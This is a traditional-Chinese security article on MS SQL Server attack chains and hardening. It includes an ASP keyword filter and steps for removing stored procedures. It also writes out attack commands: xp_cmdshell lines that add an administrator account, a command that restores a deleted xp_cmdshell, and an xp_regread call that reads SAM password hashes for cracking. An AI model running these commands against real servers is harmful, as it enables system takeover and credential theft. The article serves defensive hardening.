隨著 Code Red、Nimda 等蠕蟲將 IIS 漏洞自動化利用,攻擊重心逐漸轉向後端資料庫。本文以 MS SQL Server 為例,深度剖析從腳本注入到系統存儲過程提權的完整攻擊鏈,並給出針對性的加固方案。
ASP 環境下可部署過濾函數攔截高危字符:
Function Filter_SQL(strData)
Dim strFilter, blnFlag, i, arrayFilter
strFilter = ""',;,//,--,@,_,exec,declare""
blnFlag = False
arrayFilter = Split(strFilter, ",")
For i = 0 To UBound(arrayFilter)
If InStr(strData, arrayFilter(i)) > 0 Then
blnFlag = True: Exit For
End If
Next
If blnFlag Then Response.Redirect "wrong.asp" Else Filter_SQL = strData
End Function
xp_cmdshell 系統命令執行SQL Server 預設 sa 空密碼,配合 xp_cmdshell 可直接執行系統命令:
EXEC xp_cmdshell 'net user hacker 123456 /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
兩條語句即可在系統建立管理員帳號,實現從資料庫到作業系統的完全控制。
| 存儲過程 | 功能 | 風險 |
|---|---|---|
xp_fileexist | 檢測文件是否存在 | 偵察伺服器文件結構 |
xp_getfiledetails | 獲取文件詳細屬性 | 洩露敏感文件資訊 |
xp_dirtree | 遞歸列出目錄結構 | 映射伺服器目錄樹 |
xp_getnetname | 獲取伺服器網絡名稱 | 確認目標身份 |
xp_regread | 讀取註冊表 | 可讀取加密的 SAM 雜湊(需高權限) |
USE master;
EXEC sp_dropextendedproc 'xp_cmdshell';
-- 同理刪除 xp_regread, xp_dirtree 等
findstr /C:"登錄" 日志路徑\*.* 檢視。USE master;
SELECT name, password FROM syslogins WHERE password IS NULL;
USE master;
SELECT sysobjects.name FROM sysobjects, sysprotects
WHERE sysprotects.uid = 0 AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id;
xp_cmdshell 被刪,可用 sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 恢復。xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account','F' 讀取系統雜湊,配合 pwdump 等工具離線破解。資料庫伺服器常被忽視的日志審計與權限收歸,是防禦橫向移動的關鍵。建議將資料庫與 Web 伺服器物理隔離,並納入統一的安全運營體系。